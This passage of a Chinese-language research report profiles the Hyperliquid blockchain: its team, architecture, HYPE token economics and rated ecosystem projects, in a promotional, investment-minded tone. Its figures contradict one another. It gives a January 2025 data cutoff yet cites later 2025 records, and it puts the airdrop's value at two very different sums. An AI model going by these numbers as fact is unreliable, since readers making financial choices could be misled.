竞争格局假设</h4><ul><li><strong>假设内容</strong>：现有竞争对手不会出现技术突破性创新，新进入者面临较高技术壁垒</li><li><strong>适用性</strong>：短期（1-2年）内的竞争分析相对有效</li><li><strong>风险因子</strong>：技术快速迭代可能改变竞争格局，需持续监控</li><li><strong>假设松弛影响</strong>：竞争加剧可能压缩市场份额和盈利能力</li></ul><h4 id="4-团队稳定性假设">4. 团队稳定性假设</h4><ul><li><strong>假设内容</strong>：核心团队保持稳定，技术领导力持续有效</li><li><strong>重要性</strong>：团队背景是技术优势和发展潜力的关键支撑</li><li><strong>监控指标</strong>：核心成员变动、技术决策连续性</li><li><strong>替代情景</strong>：关键人员离职可能影响技术发展和社区信心</li></ul><h3 id="数据来源与时效性">数据来源与时效性</h3><ul><li><strong>数据截止时间</strong>：2025年1月</li><li><strong>主要数据源</strong>：官方文档、CoinGecko、DeFiLlama、链上数据分析平台</li><li><strong>数据可靠性</strong>：优先使用官方和权威第三方数据，标注数据来源</li><li><strong>更新频率</strong>：市场数据具有时效性，建议定期更新核心指标</li></ul><h2 id="核心术语定义">核心术语定义</h2><p>为确保报告内容的准确性和一致性，特对关键术语进行定义：</p><ul><li><strong>Layer 1 (L1)</strong>：独立的区块链网络，具备自主的共识机制和安全模型</li><li><strong>HyperCore</strong>：Hyperliquid的原生交易引擎，负责订单簿匹配和永续合约执行</li><li><strong>HyperEVM</strong>：兼容以太坊虚拟机的智能合约执行环境</li><li><strong>HyperBFT</strong>：基于HotStuff协议优化的拜占庭容错共识算法</li><li><strong>CLOB</strong>：中央限价订单簿（Central Limit Order Book）</li><li><strong>TVL</strong>：总锁定价值（Total Value Locked），衡量DeFi协议资金规模的指标</li><li><strong>CDP</strong>：抵押债务仓位（Collateralized Debt Position），超额抵押借贷模式</li><li><strong>预编译合约</strong>：区块链原生集成的系统合约，提供高性能的特定功能</li><li><strong>永续合约</strong>：无到期日的衍生品合约，通过资金费率机制维持价格锚定</li><li><strong>去中心化交易所（DEX）</strong>：基于智能合约的自动化交易协议</li></ul><h2 id="1-项目概述">1. 项目概述</h2><p>Hyperliquid是一个高性能的Layer 1区块链平台，专门为构建完全链上的开放金融系统而设计。该平台将流动性、用户应用程序和交易活动统一在单一基础设施上，致力成为&quot;容纳所有金融活动&quot;的区块链。作为去中心化永续合约交易市场的领导者，Hyperliquid占据<strong>60-70%<strong>的市场份额，日交易量达</strong>60-100亿美元</strong>，用户规模从31,000增长至<strong>30万</strong>。</p><h2 id="2-核心团队与项目背景">2. 核心团队与项目背景</h2><p>本章分析Hyperliquid的创始团队构成、技术哲学、发展历程及团队实力，为理解项目技术路线和发展潜力提供基础。</p><h3 id="2-1-创始团队">2.1 创始团队</h3><p>Hyperliquid由<strong>Jeff Yan</strong>和<strong>Iliensinc</strong>于<strong>2022年9月</strong>共同创立，Jeff Yan担任首席执行官：</p><ul><li><strong>学历背景</strong>: 哈佛大学数学与计算机科学专业毕业（2013-2017年）</li><li><strong>竞赛成就</strong>: 国际物理奥林匹克竞赛金银牌获得者</li><li><strong>职业经验</strong>: 曾在顶级高频交易公司Hudson River Trading工作</li><li><strong>创业经历</strong>: 创办加密货币做市商公司Chameleon Trading，发展成全球前十大做市商</li></ul><h3 id="2-2-技术哲学与战略背景">2.2 技术哲学与战略背景</h3><p>Jeff Yan的<strong>高频交易背景</strong>深刻影响了Hyperliquid的核心设计理念：</p><ul><li><strong>痴迷于速度</strong>: HFT对亚秒级延迟的极致要求，决定必须构建定制化L1而非依赖通用区块链</li><li><strong>市场微观结构理解</strong>: 深度理解订单执行质量和系统确定性的重要性</li><li><strong>第一性原理</strong>: 从零开始重新构建，而非在现有平台上妥协</li><li><strong>FTX催化剂</strong>: 2022年FTX崩溃证明了中心化托管风险，为高性能非托管交易创造了市场需求</li></ul><h3 id="2-3-发展历程">2.3 发展历程</h3><ul><li><strong>2022年11月</strong>: Arbitrum Goerli测试网上线</li><li><strong>2023年3月</strong>: 主网开放交易</li><li><strong>2024年11月29日</strong>: HYPE代币空投，向94,000用户分发价值12亿美元代币</li><li><strong>2025年2月</strong>: HyperEVM正式上线，标志平台转型为通用金融基础设施</li></ul><h3 id="2-4-团队规模与实力">2.4 团队规模与实力</h3><ul><li><strong>团队规模</strong>: 仅约<strong>10人</strong>的精英团队</li><li><strong>成员背景</strong>: 均来自加州理工、麻省理工、Citadel、Airtable等顶级机构</li><li><strong>项目特色</strong>: 完全自筹资金，无任何风险投资参与，将**70%**代币分配给社区</li></ul><h2 id="3-核心技术特点">3. 核心技术特点</h2><p>本章详细分析Hyperliquid的技术架构创新，包括Layer 1设计、HyperEVM系统和性能指标，揭示其技术竞争优势。</p><h3 id="3-1-技术架构">3.1 技术架构</h3><pre><code class="highlight mermaid">graph TD    subgraph &quot;Hyperliquid L1 区块链&quot;        subgraph &quot;共识层&quot;            HyperBFT[&quot;🔄 HyperBFT共识算法&lt;br/&gt;基于HotStuff协议优化&lt;br/&gt;拜占庭容错设计&quot;]            Validators[&quot;👥 验证者网络&lt;br/&gt;16个验证者&lt;br/&gt;从4个逐步扩展&quot;]        end        subgraph &quot;统一状态层&quot;            UnifiedState[&quot;🔗 统一状态&lt;br/&gt;共享状态管理&lt;br/&gt;消除跨链桥风险&quot;]        end        subgraph &quot;双核心架构&quot;            HyperCore[&quot;📈 HyperCore&lt;br/&gt;完全链上订单簿&lt;br/&gt;永续期货&lt;br/&gt;现货交易&quot;]            HyperEVM[&quot;⚙️ HyperEVM&lt;br/&gt;以太坊虚拟机兼容&lt;br/&gt;智能合约平台&lt;br/&gt;DApp生态&quot;]        end        subgraph &quot;性能特性&quot;            Performance[&quot;⚡ 高性能指标&lt;br/&gt;200,000 TPS&lt;br/&gt;0.2s区块时间&lt;br/&gt;单区块最终性&quot;]        end    end    HyperBFT --&gt; UnifiedState    Validators --&gt; HyperBFT    UnifiedState --&gt; HyperCore    UnifiedState --&gt; HyperEVM    HyperCore &lt;--&gt; HyperEVM    HyperCore --&gt; Performance    HyperEVM --&gt; Performance    style HyperBFT fill:#e1f5fe,stroke:#01579b,stroke-width:2px    style Validators fill:#f3e5f5,stroke:#4a148c,stroke-width:2px    style UnifiedState fill:#e8f5e8,stroke:#1b5e20,stroke-width:2px    style HyperCore fill:#fff3e0,stroke:#e65100,stroke-width:2px    style HyperEVM fill:#fce4ec,stroke:#880e4f,stroke-width:2px    style Performance fill:#f1f8e9,stroke:#33691e,stroke-width:2px</code></pre><ul><li><strong>Layer 1 区块链</strong>: 从零开始构建和优化的高性能L1区块链</li><li><strong>HyperBFT 共识算法</strong>: 基于HotStuff协议优化，拜占庭容错设计，可容忍1/3恶意验证者</li><li><strong>验证者网络</strong>: 目前由<strong>16个验证者</strong>维护（从最初的4个验证者逐步扩展），继续开放更广泛的社区参与</li><li><strong>双核心架构</strong>: HyperCore + HyperEVM<ul><li><strong>HyperCore</strong>: 包含完全链上的永续期货和现货订单簿</li><li><strong>HyperEVM</strong>: 以太坊虚拟机兼容的通用智能合约平台</li></ul></li><li><strong>统一状态</strong>: HyperEVM和HyperCore作为统一状态存在，实现性能、流动性和可编程性的完美结合</li></ul><h3 id="3-2-HyperEVM革命性设计">3.2 HyperEVM革命性设计</h3><h4 id="3-2-1-统一状态L1架构">3.2.1 统一状态L1架构</h4><ul><li><strong>主权区块链</strong>: Hyperliquid是独立的Layer 1区块链，不依赖以太坊等其他L1的安全性</li><li><strong>统一状态</strong>: HyperCore和HyperEVM运行在同一共识层，共享统一状态，消除跨链桥风险</li><li><strong>本质区别</strong>: 与Layer 2方案不同，不受底层区块链架构限制，可进行深度优化</li></ul><h4 id="3-2-2-双区块机制创新">3.2.2 双区块机制创新</h4><pre><code class="highlight mermaid">flowchart TD    User[&quot;👤 用户交易请求&quot;] --&gt; Decision&#123;&quot;🤔 交易类型判断&quot;&#125;    Decision --&gt;|&quot;轻量级交易&quot;| SmallBlock    Decision --&gt;|&quot;重量级操作&quot;| LargeBlock    subgraph SmallBlockPath[&quot;⚡ 小区块处理路径&quot;]        SmallBlock[&quot;📋 小区块&lt;br/&gt;• 1秒间隔&lt;br/&gt;• 200万gas限制&lt;br/&gt;• 低延迟优化&quot;]        SmallOps[&quot;🔄 适用操作&lt;br/&gt;• DEX兑换&lt;br/&gt;• 预言机喂价&lt;br/&gt;• 简单转账&quot;]        SmallResult[&quot;✅ 快速确认&lt;br/&gt;1秒内完成&quot;]    end    subgraph LargeBlockPath[&quot;🏗️ 大区块处理路径&quot;]        LargeBlock[&quot;📦 大区块&lt;br/&gt;• 60秒间隔&lt;br/&gt;• 3000万gas限制&lt;br/&gt;• 高容量设计&quot;]        LargeOps[&quot;⚙️ 适用操作&lt;br/&gt;• 合约部署&lt;br/&gt;• 批量铸造&lt;br/&gt;• 复杂计算&quot;]        LargeResult[&quot;✅ 大容量确认&lt;br/&gt;60秒内完成&quot;]    end    SmallBlock --&gt; SmallOps --&gt; SmallResult    LargeBlock --&gt; LargeOps --&gt; LargeResult    SmallResult --&gt; Finality[&quot;🎯 最终性确认&lt;br/&gt;统一状态更新&quot;]    LargeResult --&gt; Finality    Finality --&gt; UnifiedState[&quot;🔗 统一状态层&lt;br/&gt;性能 + 流动性 + 可编程性&quot;]    style User fill:#e3f2fd,stroke:#0277bd,stroke-width:2px    style Decision fill:#fff3e0,stroke:#f57c00,stroke-width:2px    style SmallBlock fill:#e8f5e8,stroke:#2e7d32,stroke-width:2px    style LargeBlock fill:#fce4ec,stroke:#c2185b,stroke-width:2px    style Finality fill:#f3e5f5,stroke:#7b1fa2,stroke-width:2px    style UnifiedState fill:#e1f5fe,stroke:#0277bd,stroke-width:2px</code></pre><ul><li><strong>小区块</strong>: 1秒间隔/200万gas限制，专为低延迟交易优化（DEX兑换、预言机喂价）</li><li><strong>大区块</strong>: 60秒间隔/3000万gas限制，专为重量级操作设计（合约部署、批量铸造）</li><li><strong>解耦设计</strong>: 将延迟和吞吐量两个制约变量分离，实现并行优化</li><li><strong>用户选择</strong>: 根据需求灵活选择速度优先或容量优先</li></ul><h4 id="3-2-3-预编译合约系统">3.2.3 预编译合约系统</h4><pre><code class="highlight mermaid">sequenceDiagram    participant DApp as 📱 DApp/智能合约    participant ReadPrecompile as 📖 读取预编译&lt;br/&gt;(0x...0800)    participant WriteContract as ✍️ 写入系统合约&lt;br/&gt;(0x333...333)    participant HyperCore as 📈 HyperCore    participant OrderBook as 📊 订单簿    Note over DApp,OrderBook: 读取操作流程    DApp-&gt;&gt;ReadPrecompile: 查询请求&lt;br/&gt;（价格、仓位、余额）    ReadPrecompile-&gt;&gt;HyperCore: 原子化状态查询    HyperCore-&gt;&gt;OrderBook: 获取实时数据&lt;br/&gt;20亿美元+流动性    OrderBook--&gt;&gt;HyperCore: 返回最新状态    HyperCore--&gt;&gt;ReadPrecompile: 同步状态数据    ReadPrecompile--&gt;&gt;DApp: 返回实时数据&lt;br/&gt;无需外部预言机    Note over DApp,OrderBook: 写入操作流程    DApp-&gt;&gt;WriteContract: 交易请求&lt;br/&gt;（下单、存取资金）    WriteContract-&gt;&gt;WriteContract: 日志事件记录    WriteContract-&gt;&gt;HyperCore: 触发Core操作    Note over HyperCore: 防套利延迟机制&lt;br/&gt;延迟数秒执行    HyperCore-&gt;&gt;OrderBook: 更新订单簿状态    OrderBook--&gt;&gt;HyperCore: 确认状态更新    HyperCore--&gt;&gt;WriteContract: 操作完成确认    WriteContract--&gt;&gt;DApp: EVM事件通知&lt;br/&gt;无信任双向通信    rect rgb(240, 248, 255)        Note over DApp,OrderBook: 统一状态架构优势&lt;br/&gt;• 实时数据同步&lt;br/&gt;• 零跨链延迟&lt;br/&gt;• 原子化操作保证    end</code></pre><p><strong>读取预编译</strong>（地址从0x…0800开始）:</p><ul><li>原子化查询HyperCore状态：原生预言机价格、用户仓位、现货余额</li><li>同步获取最新状态，无需外部预言机依赖</li><li>智能合约可直接读取20亿美元+订单簿数据</li></ul><p><strong>写入系统合约</strong>（地址0x333…333）:</p><ul><li>通过日志事件触发HyperCore操作：下单、资金库存取</li><li>防套利延迟机制：订单操作故意延迟数秒执行</li><li>实现EVM与HyperCore的无信任双向通信</li></ul><h3 id="3-3-性能指标">3.3 性能指标</h3><p><strong>表3：Hyperliquid核心性能数据</strong></p><table><thead><tr><th>性能指标</th><th>当前数值</th><th>目标值</th><th>行业对比</th></tr></thead><tbody><tr><td>区块时间（中位数）</td><td>0.2秒</td><td>-</td><td>以太坊：12秒</td></tr><tr><td>区块时间（99百分位）</td><td>0.9秒</td><td>-</td><td>Arbitrum：0.25秒</td></tr><tr><td>订单处理能力</td><td>200,000订单/秒</td><td>100万订单/秒</td><td>dYdX：约10,000/秒</td></tr><tr><td>交易确认</td><td>单区块最终性</td><td>-</td><td>即时确认</td></tr><tr><td>累计交易量</td><td>2万亿美元</td><td>-</td><td>行业领先</td></tr><tr><td>日均交易量</td><td>60-100亿美元</td><td>-</td><td>峰值150亿美元</td></tr><tr><td>月交易量（峰值）</td><td>3200亿美元</td><td>-</td><td>2025年7月记录</td></tr></tbody></table><p><em>数据来源：Hyperliquid官方数据，DeFiLlama</em></p><h3 id="3-4-性能对比优势">3.4 性能对比优势</h3><p><strong>图1：性能对比分析</strong><br>Hyperliquid相较于主要竞争平台的性能优势：</p><ul><li><strong>vs 以太坊主网</strong>：交易速度提升<strong>6,600倍</strong>（基于TPS对比）</li><li><strong>vs Layer 2解决方案</strong>：比Arbitrum等快<strong>50倍以上</strong></li><li><strong>vs 传统DEX</strong>：每秒处理20万笔交易，远超Uniswap等AMM协议</li></ul><p>这种性能优势源于Hyperliquid的定制化Layer 1架构，专门针对高频金融交易进行优化，而非通用计算平台的妥协方案。</p><h3 id="3-5-旗舰产品特点">3.5 旗舰产品特点</h3><p><strong>去中心化永续交易所</strong>:</p><ul><li>零燃气费：所有订单零燃气费和低费用</li><li>高杠杆：支持高达40倍杠杆交易</li><li>透明性：完全链上订单簿，所有交易、资金费用和清算都在Hyperliquid L1上透明进行</li><li>无缝体验：一键交易，无需钱包授权打断流程</li></ul><h2 id="4-代币经济学-HYPE-Token">4. 代币经济学 (HYPE Token)</h2><p>本章全面分析HYPE代币的基本信息、分配机制、治理特点和经济模式创新，评估其价值支撑和投资潜力。</p><h3 id="4-1-基本信息">4.1 基本信息</h3><p><strong>表1：HYPE代币基础数据概览</strong></p><table><thead><tr><th>指标</th><th>数值</th><th>备注</th></tr></thead><tbody><tr><td>代币符号</td><td>HYPE</td><td>原生治理代币</td></tr><tr><td>总供应量</td><td>1,000,000,000 HYPE</td><td>固定总量，无通胀</td></tr><tr><td>流通供应量</td><td>333,928,180 HYPE</td><td>占总供应量33.38%</td></tr><tr><td>当前价格</td><td>$38-42 USD</td><td>数据时间：2025年1月</td></tr><tr><td>流通市值</td><td>$128亿美元</td><td>全球加密货币排名第11-14位</td></tr><tr><td>完全稀释估值</td><td>$392亿美元</td><td>基于总供应量计算</td></tr></tbody></table><p><em>数据来源：CoinGecko, CoinMarketCap；数据截止时间：2025年1月</em></p><p>如表1所示，HYPE代币当前流通市值已达128亿美元，在全球加密货币市值排名中位居前列。完全稀释估值与流通市值的差异反映了未来代币解锁对市场的潜在影响。</p><h3 id="4-2-历史性空投成就">4.2 历史性空投成就</h3><ul><li><strong>空投规模</strong>: 加密货币历史上最大规模空投</li><li><strong>受益人数</strong>: 约94,000名符合条件用户</li><li><strong>分发数量</strong>: 2.75亿枚代币（占总供应量27.5%）</li><li><strong>空投价值</strong>: 超过43亿美元</li><li><strong>价格表现</strong>: 从3.57美元发行价上涨至历史最高点49.86美元（涨幅超1000%）</li></ul><h3 id="4-3-代币分配">4.3 代币分配</h3><p><strong>表2：HYPE代币分配结构</strong></p><table><thead><tr><th>分配类别</th><th>数量 (HYPE)</th><th>比例</th><th>解锁时间表</th><th>用途说明</th></tr></thead><tbody><tr><td>未来排放和社区奖励</td><td>423,880,000</td><td>42.39%</td><td>待定</td><td>长期激励和生态发展</td></tr><tr><td>创世分发</td><td>275,000,000</td><td>27.50%</td><td>TGE即时解锁</td><td>社区空投，最大规模分发</td></tr><tr><td>核心贡献者</td><td>238,000,000</td><td>23.80%</td><td>2027-2028年</td><td>团队激励，创世后锁定1年</td></tr><tr><td>Hyper基金会预算</td><td>60,000,000</td><td>6.00%</td><td>无锁定期</td><td>生态系统运营和发展</td></tr><tr><td>社区资助</td><td>3,000,000</td><td>0.30%</td><td>无锁定期</td><td>社区项目支持</td></tr><tr><td>HIP-2 Hyperliquidity</td><td>120,000</td><td>0.01%</td><td>无锁定期</td><td>特定协议功能</td></tr></tbody></table><pre><code class="highlight mermaid">pie title HYPE代币分配结构 (总供应量: 10亿枚)    &quot;未来排放和社区奖励&quot; : 42.39    &quot;创世分发（空投）&quot; : 27.50    &quot;核心贡献者&quot; : 23.80    &quot;Hyper基金会预算&quot; : 6.00    &quot;社区资助&quot; : 0.30    &quot;HIP-2 Hyperliquidity&quot; : 0.01</code></pre><p><em>数据来源：Hyperliquid官方文档</em></p><p>表2展现了Hyperliquid代币分配的突出特点：**69.89%<strong>的代币分配给社区（创世分发+未来排放），仅</strong>23.80%**分配给核心贡献者。这种&quot;社区优先&quot;的分配模式在区块链项目中较为罕见，体现了项目方对去中心化治理的承诺。</p><h3 id="4-4-解锁时间表">4.4 解锁时间表</h3><ul><li>下次重大解锁：2025年11月29日（核心贡献者部分）</li><li>大部分解锁将在2027-2028年间完成</li></ul><h3 id="4-5-治理特点">4.5 治理特点</h3><ul><li><strong>社区优先</strong>: 无投资者、无付费做市商、无公司费用</li><li><strong>去中心化治理</strong>: 任何人都可以通过HYPE代币拥有、治理和保护Hyperliquid网络</li><li><strong>自筹资金项目</strong>: 强调独立性和对愿景的专注</li></ul><h3 id="4-6-经济机制创新">4.6 经济机制创新</h3><ul><li><strong>供应量销毁</strong>: 每年约26%的供应量通过系统性销毁减少</li><li><strong>费用分配</strong>: 100%交易费用导向社区（54%进入援助基金用于HYPE回购，46%分配给HLP金库）</li><li><strong>回购规模</strong>: 日均约100万美元HYPE回购</li><li><strong>质押机制</strong>: 2024年12月30日启动，当前年化收益率2.26-2.37%</li><li><strong>质押参与度</strong>: 约42.93%的符合条件代币被质押</li><li><strong>收入表现</strong>: 年化收入达11亿美元，日均费用收入350万美元</li></ul><h2 id="5-生态系统分析">5. 生态系统分析</h2><p>本章深入分析Hyperliquid生态系统的发展现状、核心项目和特色经济模式，展现生态的完整性和发展潜力。</p><h3 id="5-1-生态发展概况">5.1 生态发展概况</h3><ul><li><strong>开发团队</strong>: <strong>175个以上</strong>开发团队参与生态建设</li><li><strong>项目总数</strong>: 超过170个项目，100多个活跃项目</li><li><strong>总锁仓价值</strong>: 超过20亿美元，按TVL计算为第9大区块链</li><li><strong>用户增长</strong>: 从31,000增长至30万用户（增长9倍）</li><li><strong>日活用户</strong>: 从283人激增至<strong>2万人以上</strong></li><li><strong>用户留存</strong>: 月度用户留存率保持在<strong>40%以上</strong></li><li><strong>开放兴趣</strong>: 从1.78亿美元激增至43亿美元，2025年7月峰值达153亿美元</li><li><strong>日均交易</strong>: 处理20-40万笔交易</li><li><strong>嵌入式钱包</strong>: 已配置<strong>1万个</strong>嵌入式钱包</li></ul><h3 id="5-2-HyperEVM独特经济循环">5.2 HyperEVM独特经济循环</h3><p>与传统公链早期由DEX主导TVL不同，HyperEVM形成了以<strong>借贷和流动性质押为核心</strong>的独特经济模式：</p><h4 id="5-2-1-杠杆耕作-策略循环">5.2.1 &quot;杠杆耕作&quot;策略循环</h4><ol><li><strong>获取与质押</strong>: 用户获得HYPE代币并进行质押</li><li><strong>流动化</strong>: 将HYPE质押到流动性质押协议，获得stHYPE、LHYPE等LST</li><li><strong>抵押与借贷</strong>: 将LST存入借贷协议（如HyperLend、Felix），借出稳定币USDXL、feUSD</li><li><strong>再投资</strong>: 将借出的稳定币用于DEX流动性挖矿或其他收益策略</li></ol><pre><code class="highlight mermaid">graph LR    A[用户持有HYPE] --&gt; B[质押到流动性质押协议]    B --&gt; C[获得LST&lt;br/&gt;stHYPE/LHYPE]    C --&gt; D[存入借贷协议&lt;br/&gt;HyperLend/Felix]    D --&gt; E[借出稳定币&lt;br/&gt;USDXL/feUSD]    E --&gt; F[DEX流动性挖矿]    F --&gt; G[获得多重收益&lt;br/&gt;质押+借贷+DEX+空投]    G --&gt; H[再投资或扩大杠杆]    H --&gt; A    style A fill:#f9f,stroke:#333,stroke-width:2px    style G fill:#9f9,stroke:#333,stroke-width:2px    style B fill:#bbf,stroke:#333,stroke-width:1px    style D fill:#bbf,stroke:#333,stroke-width:1px    style F fill:#bbf,stroke:#333,stroke-width:1px</code></pre><h4 id="5-2-2-经济模式特点">5.2.2 经济模式特点</h4><ul><li><strong>HYPE中心化</strong>: 早期主要资产是原生代币HYPE，推动质押需求</li><li><strong>空投驱动</strong>: 强烈的空投预期驱动用户&quot;耕作大于交易&quot;行为模式</li><li><strong>资本效率</strong>: 一份本金同时赚取质押收益、借贷积分、DEX手续费和LP激励</li><li><strong>内循环特征</strong>: 高度内循环和自反性的经济模型，围绕HYPE构建价值网络</li></ul><h3 id="5-3-HyperEVM-状态">5.3 HyperEVM 状态</h3><ul><li><strong>当前阶段</strong>: Alpha阶段（2025年2月18日主网上线）</li><li><strong>核心特色</strong>: 完整以太坊兼容性，同时保持亚秒级最终性</li><li><strong>独特优势</strong>: 智能合约可直接访问HyperCore 20亿美元以上订单簿流动性</li><li><strong>逐步推出原因</strong>:<ol><li>坚持&quot;无内幕&quot;原则，确保公平访问</li><li>安全升级复杂系统，保护每日数十亿美元交易量</li><li>通过真实经济使用迭代开发</li></ol></li></ul><h3 id="5-4-主要生态项目深度分析">5.4 主要生态项目深度分析</h3><p><strong>评分说明</strong>: ⭐⭐⭐⭐⭐ 生态核心/高成熟度 | ⭐⭐⭐⭐ 重要/成熟 | ⭐⭐⭐ 增长中/有潜力</p><pre><code class="highlight mermaid">graph TD    A[Hyperliquid生态项目分类] --&gt; B[DeFi/收益类]    A --&gt; C[订单簿型DEX]    A --&gt; D[流动性质押LST]    A --&gt; E[分析工具类]    A --&gt; F[移动应用类]    A --&gt; G[跨链桥接与AI创新]    B --&gt; B1[Felix Protocol⭐⭐⭐⭐⭐&lt;br/&gt;CDP稳定币协议]    B --&gt; B2[HyperLend⭐⭐⭐⭐&lt;br/&gt;借贷协议]    B --&gt; B3[Yolo Chicken⭐⭐⭐⭐&lt;br/&gt;创新收益策略]    B --&gt; B4[Hyperliquidity⭐⭐⭐⭐&lt;br/&gt;LP保险基金]    C --&gt; C1[HyperFun⭐⭐⭐⭐⭐&lt;br/&gt;CLOB现货交易]    C --&gt; C2[LadyY⭐⭐⭐⭐&lt;br/&gt;CLOB衍生品]    C --&gt; C3[Vibe⭐⭐⭐&lt;br/&gt;聚合交易]    C --&gt; C4[Thetanuts⭐⭐⭐&lt;br/&gt;期权做市]    D --&gt; D1[Liquid⭐⭐⭐⭐⭐&lt;br/&gt;首个HYPE LST]    D --&gt; D2[Stride⭐⭐⭐⭐&lt;br/&gt;跨链质押]    D --&gt; D3[Stader⭐⭐⭐&lt;br/&gt;多链质押]    D --&gt; D4[Kiln⭐⭐⭐&lt;br/&gt;企业级质押]    E --&gt; E1[HypeFlows⭐⭐⭐&lt;br/&gt;CEX对比统计]    E --&gt; E2[Hyperscanner⭐⭐⭐&lt;br/&gt;L1+EVM分析]    E --&gt; E3[Hyperstats⭐⭐⭐&lt;br/&gt;独立统计]    E --&gt; E4[Hyperterminal⭐⭐⭐&lt;br/&gt;实时洞察]    F --&gt; F1[Avy⭐⭐⭐⭐&lt;br/&gt;iOS原生应用]    F --&gt; F2[Based App⭐⭐⭐&lt;br/&gt;综合金融应用]    G --&gt; G1[Gasyard⭐⭐⭐⭐&lt;br/&gt;跨VM桥接]    G --&gt; G2[HyBridge⭐⭐⭐&lt;br/&gt;专用跨链桥]    G --&gt; G3[HyperSignals⭐⭐⭐⭐&lt;br/&gt;AI交易信号]    G --&gt; G4[FRACTRADE⭐⭐⭐&lt;br/&gt;AI交易代理]    style A fill:#f9f,stroke:#333,stroke-width:2px    style B1 fill:#afa,stroke:#333,stroke-width:1px    style C1 fill:#afa,stroke:#333,stroke-width:1px    style D1 fill:#afa,stroke:#333,stroke-width:1px</code></pre><h4 id="5-4-1-DeFi-收益类-核心基础设施项目">5.4.1 DeFi/收益类 - 核心基础设施项目</h4><h5 id="Felix-Protocol-⭐⭐⭐⭐⭐"><strong>Felix Protocol</strong> ⭐⭐⭐⭐⭐</h5><p><strong>项目定位</strong>: “人民的稳定币” - Hyperliquid原生CDP协议</p><p><strong>官方资源</strong>:</p><ul><li><strong>Twitter</strong>: <a href="https://x.com/felixprotocol">@felixprotocol</a></li></ul><p><strong>核心特色</strong>:</p><ul><li><strong>独家技术</strong>: 获得Liquity AG授权，部署经审计的Liquity V2代码</li><li><strong>产品组合</strong>: CDP借贷 + 传统借贷双模式</li><li><strong>现状表现</strong>: TVL达2.65亿美元，占HyperEVM总TVL的17%</li><li><strong>借贷规模</strong>: 超1亿美元未偿贷款（CDP占61%，传统借贷占39%）</li><li><strong>增长轨迹</strong>: 自4月8日主网启动以来TVL增长813%</li></ul><p><strong>生态重要性</strong> (⭐⭐⭐⭐⭐ - 核心基础设施):</p><ol><li><strong>市场地位</strong>: HyperEVM第二大协议，仅次于Hyperlend</li><li><strong>技术成熟度</strong>: 基于Liquity V2经审计代码，风险管理严格</li><li><strong>产品创新</strong>: feUSD稳定币提供原生收益，技术领先</li><li><strong>用户广度</strong>: 既服务散户又满足机构需求</li><li><strong>生态协同</strong>: 与HyperCore深度集成，资本效率高</li></ol><p><strong>发展挑战</strong>:</p><ul><li>依赖HyperEVM生态整体发展速度</li><li>清算机制在极端市场条件下需要更多验证</li></ul><h5 id="GLIQUID-⭐⭐⭐⭐"><strong>GLIQUID</strong> ⭐⭐⭐⭐</h5><p><strong>项目定位</strong>: 下一代V4 AMM，采用Algebra引擎</p><p><strong>官方资源</strong>:</p><ul><li><strong>Twitter</strong>: <a href="https://x.com/gliquidx">@gliquidx</a></li></ul><p><strong>技术优势</strong>:</p><ul><li><strong>模块化架构</strong>: Core-Plugins分离设计，支持无流动性迁移升级</li><li><strong>集中流动性</strong>: V4 CLAMM机制，LP效率提升最高22%</li><li><strong>动态费用</strong>: 基于波动率和风险自动调节手续费</li><li><strong>插件生态</strong>: 开放的插件市场，支持第三方功能扩展</li></ul><p><strong>投资机会</strong>:</p><ol><li><strong>技术领先</strong>: Algebra引擎已被95个DEX采用，技术成熟度高</li><li><strong>资本效率</strong>: 集中流动性机制提供更好的资本利用率</li><li><strong>可扩展性</strong>: 插件系统支持KYC、LST等高级功能</li><li><strong>先发优势</strong>: HyperEVM上首个V4 AMM</li></ol><p><strong>市场潜力</strong>: 随着HyperEVM交易量增长，AMM需求将快速放大</p><h5 id="HyperSwap-⭐⭐⭐"><strong>HyperSwap</strong> ⭐⭐⭐</h5><p><strong>项目定位</strong>: HyperEVM原生AMM DEX</p><p><strong>官方资源</strong>:</p><ul><li><strong>Twitter</strong>: <a href="https://x.com/hyperswapx">@HyperSwapX</a></li></ul><p><strong>产品特点</strong>:</p><ul><li>原生集成HyperCore价格数据</li><li>支持所有HyperEVM代币交易</li><li>简洁用户界面，专为Hyperliquid优化</li></ul><p><strong>生态价值</strong> (⭐⭐⭐ - 基础设施): 作为基础设施项目，将伴随整个HyperEVM生态的发展而成长</p><h5 id="Hyperdelta-⭐⭐⭐⭐"><strong>Hyperdelta</strong> ⭐⭐⭐⭐</h5><p><strong>项目定位</strong>: Hyperliquid期权交易平台</p><p><strong>官方资源</strong>:</p><ul><li><strong>官方网站</strong>: <a href="https://hyperdelta.com/">hyperdelta.com</a></li><li><strong>Twitter</strong>: <a href="https://twitter.com/HyperdeltaX">@HyperdeltaX</a></li></ul><p><strong>创新价值</strong>:</p><ul><li>链上期权交易，透明度高</li><li>利用HyperCore的高性能和低延迟</li><li>填补Hyperliquid衍生品生态空白</li></ul><p><strong>生态价值</strong> (⭐⭐⭐⭐ - 市场空白填补): 期权交易是成熟金融市场的重要组成部分，随着Hyperliquid用户增长，期权需求将显著增加</p><h5 id="Hyperlend-⭐⭐⭐⭐⭐"><strong>Hyperlend</strong> ⭐⭐⭐⭐⭐</h5><p><strong>项目定位</strong>: HyperEVM第一大协议，领先的借贷平台</p><p><strong>官方资源</strong>:</p><ul><li><strong>官方网站</strong>: <a href="https://hyperlend.finance/">hyperlend.finance</a></li><li><strong>Twitter</strong>: <a href="https://x.com/hyperlendx">@hyperlendx</a></li><li><strong>文档</strong>: <a href="https://docs.hyperlend.finance/">docs.hyperlend.finance</a></li></ul><p><strong>市场地位</strong>:</p><ul><li><strong>TVL规模</strong>: 3.06亿美元，占HyperEVM总TVL的19.3%</li><li><strong>生态龙头</strong>: HyperEVM上TVL最大的单一协议</li><li><strong>用户规模</strong>: 服务数千名活跃借贷用户</li><li><strong>产品成熟度</strong>: 已验证的借贷模型和风险管理</li></ul><p><strong>核心优势</strong>:</p><ol><li><strong>市场领导地位</strong>: TVL和用户数量的绝对领先</li><li><strong>流动性深度</strong>: 为整个HyperEVM生态提供基础流动性</li><li><strong>风险管控</strong>: 成熟的清算机制和风险参数</li><li><strong>收益稳定</strong>: 借贷利差提供持续收入来源</li></ol><p><strong>生态价值</strong> (⭐⭐⭐⭐⭐ - 生态龙头):</p><ul><li><strong>先发优势</strong>: 生态中最早建立的借贷协议之一</li><li><strong>网络效应</strong>: 用户和资产规模的持续增长形成正向循环</li><li><strong>生态基石</strong>: 为整个DeFi生态提供核心流动性支持</li><li><strong>发展成熟度</strong>: 作为生态最大协议，技术和用户基础最为稳固</li></ul><h5 id="Abracadabra-⭐⭐⭐⭐"><strong>Abracadabra</strong> 